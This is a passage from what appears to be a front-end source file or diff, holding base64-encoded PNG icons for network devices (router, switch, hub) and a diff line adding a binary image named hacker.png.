Z2E1mygvdDG9KD/+vGGgJ543Sclhj4+t++uxW1OQQpxWfCSVB02aJMthI9AXIRyLIYVIbMK48zHdQDeMOBwQ6Iuy7WADGCdrt1gkxraDh4nqBgrQjeOeJ64CNCmRUtLlD9LbFybHaUcMUX+SApFCkJ5qIxSNEeiLcDqtL6WgsdPHvqZ2ONXLBeyqO4IvEDytbBECvL1BwlGdwtyMISVOUiBCCHLT7YTCETw9AcQpSDQpEmkUPqpuos3nj3tzCg/r2rvYWXuEiK7Ho/85Tnp6AhhKke1MHdLHpNJvPCNlENUNuvzBk/yL6Qa76lrZtPsQ1a0edte3oOv654IcDfaxau16KiYUcMXMUpbOmsLYrLRB/6YUNLi9WMwm8jPShjwnJVcQFeSlOzBJSZuvZ5Dk16Tg/UPN3PrnV6k+4gbdAE2LP6QUg9ZhvLYB0Oj20tjWyZt7DrH9QAOPf28FmY7UgUqvGwZHuo6SZrPgSncMqQCSAjFQjMlMw2GzUNvehXHcoIahKC908eStV7OvyU3lgXr+s6eaaYUuBIKeUF8iEcQTg8Oagm4o6t1drFwwk8UziplemI/TZhlwVgCBcJSatk4KMtPIsFtRjACIUpCdloor3UFtWxd90RgpJq1/skhPtbKovJjFFeeR5bBR09rJmu9dxdq3d9Dk6ebO5fMRCB7dsJX8TCfXXFTOPc+8zo2XzOKS8snouo5xnAQRQuDrDdLc2c2FJYU4bJYhl1ZSm10pRZrNSsmYHGrbOvH1hgbSbz+obhgowyDQFyHFbMKaYmbr/no2762OR0yTvLu/jg+rm7Ca4/HzB/tQhjEIoh+kqbMbT0+AaeNdmDVtSB+TFo0Ws8aMogLe2ltDo8fHmKy0gQrfb7qh0DSJ1x/ks5YObl86DyFgRlEBQgge++4KdMOgtr2LcDSGEGLQMj0GAvua3ER1g+lF+SRzuEz6YCAQzJo0lmhMZ+/h1pMGl1JQ09bJY//eTkOHl++ueZn9zW5+cPnFuDKcuNId3LRoNpUHGvjpc5to8/n5zT/fo6O7d9DsAkR1g4/rmsm02zhvTO4pYc8YxFCKaeNd5Gc42XbwMOFobPDfDcXHtc3UubsACIbCVLd5EkogDuoPhalqaiccjoBSVDW1c6jVMygo/ftjd30rU8flMS4rDWWMMEh+hpNZk8eys7aZNp9/oJBpUrKjppnVf998DFAI2rw9bN1XT0OHj9q2Lt7bV4c/2BdfO0LQHQjx8+ffpLHDNzCWFIJDLR4a3F3MmVJEqjUlqQbPsE6IFrOJJRUlbPz4IB9UNzIhLxNDVwgBew+30tjhO1Y2pOCzFg/X/e55vnbxdDr9AbZ8Wkc4FhtUKHfVH+FgSwcTXVkYetzl7QcPoxuKhWUTEypiBGcE4tlr4dRJ5KTZ2fjxwYHoKxVf16fSYMFgmKhu0BuKxJfUSWMy0BgUgD8U5p2qGooLsikvyk9qfwwbxFCKiXmZLCqfzJaqOg61dg7d4hEJPsGpxeZxn0kp+aylgz0NrSyeUUJu2tAV/YxAIH42uebicrqDITbtOniiL2dlumHw6gdV6IZi2eyyYTX1hg2iK8W80glUFI3h1Q/34TkaOCl9DssSARcJVfzy+59y6bRJnF88DsNIvhc9bBClFDlpdr4xv4J9Te1sqaoFmWiJnmFrpz/yL27/hI6jvdy0aDZ2S3LZ6oxB+mGWXzCVotxM1r69A68/QHlhPvmZcSkuOH5LxE+T/R2QE7fKtEIXZePyONDs5pn3drF4RjGLpxdjqOHdDJxRg85Qigm5mdyy5ELuX/cmL2/fy82XXcgLP1lJdYtnkKdKwZSxuYQiUa6fN+PYMlSgaZKLSsYzNiudHz+9AW9viDuWzsNps6IPY1mdMUjCD1YumMmrH1Tx6IZK5pQWsah8MpdOm3TKGSTR/j/RBIIX//sJL1R+wg0LZzK/bOKwIeAser9KKfIzHKy+9jK8gSAPvPwWnT0BjEQz4fgf3VDohnHS50rBp41t/PLFt5joyuKu5QtIMQ+tdEcUBOJq97KKEu5ZcQlv7DrEI6+9S19C1Q75Yilo8R7lnmdex93t59ffvDwuEJPQVaeys25iSyG47cq51Lu9/PGN98l02Lhr+UJSTNrnFjMpBZ09QX7+/BtUHmjgwZVXsHTWlDNaUiMGohLH1199Ywm+QJCHXtlCJKZz1/IFOG2WkyKsScmRrm7ufXYT63fs5+4VC/nhFXMGmnxnHNCzBYFjynjN96/ma3Om88hr73LHUxtocHvRpBzoqksh+LC6kW8/8RL/2nmA+65ZxH1fXYTFbDrr2+QRux8xlMKV7uDxm1cwPjudxzdup6qpndXXLmZJxXmEIlHWVe7hdxsq0Q2DR29axne+PJsUk2lE7khG9KLHUIq0VCurr72MGUUFPPzau9z0xEvML5tIb1+YHTXNzC+byAPXL2FOaWGiY/QFX/Qka0opzJrkunkzuKB4PE9v2clzW3dj0iQP3fAVvnXJLHLTHGe1sb8QEGCgOT0hL5MHrl/CDQtnIoSgpCAHYMQhRg2k3/oPRaVjcgf9PhpmAtWv7UYdaFQsUXxNZrM56guE0A2DlBTzOfOlGgCpSTp7eglGopgKMp1vfVTdNPMP/9om506ZMIpftRhhS9yfPPH6dlB4xOJf/HnMp43tTx4NhK6yppjRzhUQoC8aQ5OiY6Ira/X/AHdh/Qn9sLH8AAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDI2LTAzLTI5VDE3OjA4OjI2KzAwOjAwBiKxXwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAyNi0wMy0yOVQxNzowODoyNiswMDowMHd/CeMAAAAodEVYdGRhdGU6dGltZXN0YW1wADIwMjYtMDMtMjlUMTc6MDg6MzYrMDA6MDDswCiiAAAAAElFTkSuQmCC", l3_router: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADMAAAAzCAYAAAA6oTAqAAAAAXNSR0IArs4c6QAABGh0RVh0bXhmaWxlACUzQ214ZmlsZSUyMGhvc3QlM0QlMjJhcHAuZGlhZ3JhbXMubmV0JTIyJTIwbW9kaWZpZWQlM0QlMjIyMDIzLTAyLTE2VDA3JTNBMjklM0E1Ni44MDRaJTIyJTIwYWdlbnQlM0QlMjI1LjAlMjAoTWFjaW50b3NoJTNCJTIwSW50ZWwlMjBNYWMlMjBPUyUyMFglMjAxMF8xNV83KSUyMEFwcGxlV2ViS2l0JTJGNTM3LjM2JTIwKEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvKSUyMENocm9tZSUyRjEwOS4wLjAuMCUyMFNhZmFyaSUyRjUzNy4zNiUyMiUyMHZlcnNpb24lM0QlMjIyMC44LjQlMjIlMjBldGFnJTNEJTIyb3AxMEUxZHBZRTIyVmxkeDJ0R0wlMjIlMjB0eXBlJTNEJTIyZ29vZ2xlJTIyJTNFJTNDZGlhZ3JhbSUyMGlkJTNEJTIybkVVZEMteGZMeTEtaThPN1RFTTUlMjIlMjBuYW1lJTNEJTIyJUQwJUExJUQxJTgyJUQxJTgwJUQwJUIwJUQwJUJEJUQwJUI4JUQxJTg2JUQwJUIwJTIwMSUyMiUzRWpaVGRicU13RUlXZmhzdEVHTmR0Y3BuUWRGdXBsYXJ0UmFYZXVUQUJid3pER3BPUWZmcTFzUjFBJTJGVkVWUXZCM2pnZDdQSk9JcGxYJTJGUyUyRkdtZk1JY1pKVEVlUiUyRlIyeWhKMXV6SzNDMDRPOERvdFFPRkVybERaQVF2NGg5NEdIdmFpUnphbVZFalNpMmFPY3l3cmlIVE04YVZ3dFBjdGtjNWYydkRDJTJGZ0FYakl1UDlKWGtldlMwVlZ5TSUyRko3RUVVWjNreXUxMDZwZUREN25iUWx6JTJGRTBRWFFYMFZRaGF2ZFU5U2xJbTd1UUZ6ZnY3Z3Yxc2pBRnRmN0poSDV4JTJCTnZkdm0yNmJ2R2s5NzhmbiUyRnMlMkZ6Y0pIT1hMWiUyQlEzN3hlcHp5RUI3QUozWnJjUVIzVFlvYWoya2xHM05GUzlabEtUeDhHWEduQnBHN01qendOeVl6Tm1uUG5JMWtQQTdVVmFNZlNNTlNyQjhFbTgxS3Vh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", l2_switch: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADMAAAAzCAYAAAA6oTAqAAAAAXNSR0IArs4c6QAABIJ0RVh0bXhmaWxlACUzQ214ZmlsZSUyMGhvc3QlM0QlMjJhcHAuZGlhZ3JhbXMubmV0JTIyJTIwbW9kaWZpZWQlM0QlMjIyMDIyLTEwLTE0VDE1JTNBMDQlM0EyNC41NDFaJTIyJTIwYWdlbnQlM0QlMjI1LjAlMjAoV2luZG93cyUyME5UJTIwMTAuMCUzQiUyMFdpbjY0JTNCJTIweDY0KSUyMEFwcGxlV2ViS2l0JTJGNTM3LjM2JTIwKEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvKSUyMENocm9tZSUyRjEwNi4wLjAuMCUyMFNhZmFyaSUyRjUzNy4zNiUyMiUyMGV0YWclM0QlMjI3WmtFSjRTUENFcG9Ba3VKM1VoMSUyMiUyMHZlcnNpb24lM0QlMjIyMC40LjElMjIlMjB0eXBlJTNEJTIyZ29vZ2xlJTIyJTNFJTNDZGlhZ3JhbSUyMGlkJTNEJTIyekVhelR2Y3BtOUJkVEpSWThOX3MlMjIlMjBuYW1lJTNEJTIyJUQwJUExJUQxJTgyJUQxJTgwJUQwJUIwJUQwJUJEJUQwJUI4JUQxJTg2JUQwJUIwJTIwMSUyMiUzRWpaUkxiNk13RUlCJTJGRGNkR2ZvU1FIQXROZDZ0dXBhMTYyR1BrZ2dOV0RZT01rNUQlMkIlMkJyV3hDWkJRdGNJUzhNM1Q0eGtITkNuYlg0clZ4UXRrWEFZRVpXMUFId0pDOEpLUXdDNlVuUjJKYU9SQXJrVG1sUWJ3Smo2NWg4alRnOGg0TTFIVUFGS0xlZ3BUcUNxZTZnbGpTc0ZwcXJZSE9ZMWFzNXpmZ0xlVXlWdjZUMlM2Y0hSTm9vSCUyRjVpSXYlMkJzaDR0WEdTa3ZYS2ZpZE53VEk0alJEZEJqUlJBTnA5bFczQ3BTMWVYeGRuOSUyRmlGOUpLWTRwWCUyQmljRnhzMTYlMkJ4b2ZkN2xtJTJCZkphdm1LenVWbmZleTVISmc5JTJCd1QxYWYlMkJ3bzBIMXluZGlzb29IRU5vdEpkU2NQWUxMUkFPQXhJY25rSG9URkpPc2xtJTJGWjNFdjBlUzN0dXRoRGd3aFhNc3VvVzQ4MG5DR1RqSG91dllIY0F6c2E4Wm1ZR3pMbWRpbzZza3phTHhrU3N0VERQJTJCWWU5YyUyRm9WR2FBR1ZxZjQ3YUEybFVTaDBLYzAlMkZIdW5lUzVGYkhRMjFvYXlwM1Zqc1Jjc3pDN3c0TlczRFZYJTJCa1hHMlAzSjJzOVdWNnRiYkhYN2E1SGV0Rktwb1U4R2FoT2w5eHJaN1NMZzlKZHMxSmRPMFI3NFdVQ1VoUVhkdlF4M3Y3V0Y5YXdRY2ZTUkFLVVVTTnhQZWV5WnUzWHpZMXZveUt1V000bEZ5cnMxSHhCa3U4ZENiJTJCZXFIOXRKMkdZUTA5S2taejJqUG1yNGY4NG5tWUlQUGhoNmolMkZIWWExazQydVBMcjlEdyUzRCUzRCUzQyUyRmRpYWdyYW0lM0UlM0MlMkZteGZpbGUlM0UXJ+6nAAAC4ElEQVRoQ+2aPUscQRjHn21SGzTEKuIRm0gavTo59Yp8ABXSGIsIor0gnJ4vgYC9Ipgi0UL08gEOvJxnarVQtFEUrZQYYm2z4b/6hMmyezuzs3u7A051x+3Mzm+f1//cWrZt20REZ1c39G17lyzLwlcjxouWJmp/3kw9r186+7UAkyss0c7RGbU9e2oEBG/y4tcf5+P0YJ5m378jq3pwYvdOL9OXsX4aynUbB7Na26P50g+qzo2SVVwv27MbW3S3+dkoENE6+ZkVGu7N3sN8re7SyeKEkTDYdMf4QrphEA+yMZx6GGxwKNdFUwP5QI9JPcyTwUkHAtZBcnrbmfGFSgSGU2ngo36IA/E6ZNqpgT5P10sEZr5UcdJo2AErebmekTD8ENxQjzBh3YPncbWWWccvvhA37gyXiGVkIPgazmb8HdkMWc2r9hgD09DUDHf4uPSdCv19dWuBilW4RWlY0QSEGANbxZFIYVTgtdzMq14YB8MuBSEXdiAGou7QlSzjdqmwINxrJQrDsaHSW/kBJ24ZbCwq66QCRpSpXpXcuAQguo47GRgNI7ream0/UEDVSxoqEtlrHaVsFpS9dDeDuoUHIlvx3fuJFCYINuh3sQjL9GKJwCBRyIy1nX3nRNUtviCVZU5oYrcMXA830Rl+MrnhlokCRrRUZWbE10pGWIbbH6jLeufgDYGRjZmfx+f/xQxbxEsix56adeICc92Sop5ENgYmTFpmVar8LwA3m29eZSJVlXBHrC1zrhyJZURXSLIP04JBMcOBhahljINJq0RWtozuAbdY7KKWyEowaZfISjBpl8jKMDzBT/cblwDEJwAo/D3NGc1oGLfrGQ8jup6MYNLt11Tmx941q2xG99pHGN0nGNf8f5bht5pkhVBcGwq7Loo8ekfnrSa8b1ZcL9PcZkXqJCTsTeOYx6UCYq72aeweBjfaPjyl8+vfdHlzG8d9Y1kTW//Qk6VMa4uz/l/tjAf+44PQ6wAAAABJRU5ErkJggg==", l1_hub: "data:image/png;base64,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", diff --git a/front/src/static/images/hacker.png b/front/src/static/images/hacker.png new file mode 100644 index 00000000..31067aba Binary files /dev/null and b/front/src/static/images/hacker.png 